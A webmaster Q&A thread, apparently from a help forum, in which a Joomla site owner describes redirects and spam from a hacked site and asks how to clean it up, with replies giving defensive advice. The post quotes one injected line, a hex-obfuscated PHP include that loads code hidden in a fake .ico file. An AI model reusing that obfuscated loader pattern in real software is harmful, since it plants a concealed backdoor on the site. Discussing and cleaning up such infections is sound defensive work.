I'm quite stumped here as I am not an expert when it comes to scripts..

Some users, searching for a product which my website provides, get presented with genuine links such as "https://www.brewcraft.co.za/index.php/latest-promotions/205-new-alembic-pot-still". However, when they click on the link, they are redirected to some fake pages (which seem to differ all the time). This site has also been plagued by issues where spam has originated from it..

I have found some index.php files have been given permissions of 755 and suspicious scripts in them such as: 366b1/

@include "\x2fho\x6de/\x62re\x77cr\x61f/\x70ub\x6cic\x5fht\x6dl/\x70lu\x67in\x73/f\x69el\x64s/\x72ad\x69o/\x66av\x69co\x6e_4\x33df\x628.\x69co";


I am not the host of the site and only have cpanel access.. what can I do and where can I look/scan for this

I have tried most free website scanners but they all show negative infection.

I have the latest Joomla version and all my plugins are up to date.

  • 1
    Barry you might need to change to a more secure host ASAP.
    – Raul Reyes
    May 2, 2017 at 6:51
  • 1
    Your site has been hacked. Google maintains a guide to help you deal with a hacked site: developers.google.com/webmasters/hacked May 2, 2017 at 9:03
  • 1
    What CMS are you using? It is likely your software us not up to date and vulnerable. Check themes and plug ins too. Untill you fix this problem, there is no sense in working on the rest.
    – closetnoc
    May 2, 2017 at 15:12
  • I'm using Joomla and all plugins are up to date May 3, 2017 at 5:12

1 Answer 1


It sounds like the website might have been hacked in the past and never got the proper cleanup done.

Firstly, login to your Google Webmasters and see if there is any infection warning from Google. And based on what you have written, it will have some message.

And then cleanup can be done in many ways. Find if there is any website file scan plugin for Joomla and do a complete scan. If you can't find then you may like to install WordPress in a separate folder and there are number of scanning plugins available, you can install that in few minutes and do a complete root (/) scan.

And then look into the scan report and delete or clean any infected files.

Note: You need to have knowledge about code and ability to identify normal vs infected codes etc.

Also, there is one simple method, download your entire site and run anti-virus scan but it may not detect all infections.

Hope this will help you.

  • I have now tried what you suggested, installed WordPress and run various scanners. My index.php files permissions are been changed to 755 and code added but I can't find the file which is doing this :( It is driving me mad. Downloaded the site and a virus scan does not pick up anything :( May 3, 2017 at 6:57
  • Permission, set: directory: 0755 files: 0644. Using SSH, you could do for your entire site in few sec. Infection: If you cleaned and if its keeps coming back then you have to check other infected files. Use the same scanning process and identify infected files and clean. Tip: Check your Webmaster message and check infected URLs and clean. It's time-consuming process but unfortunately, there is no quick method.
    – TopQnA
    May 3, 2017 at 9:52

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.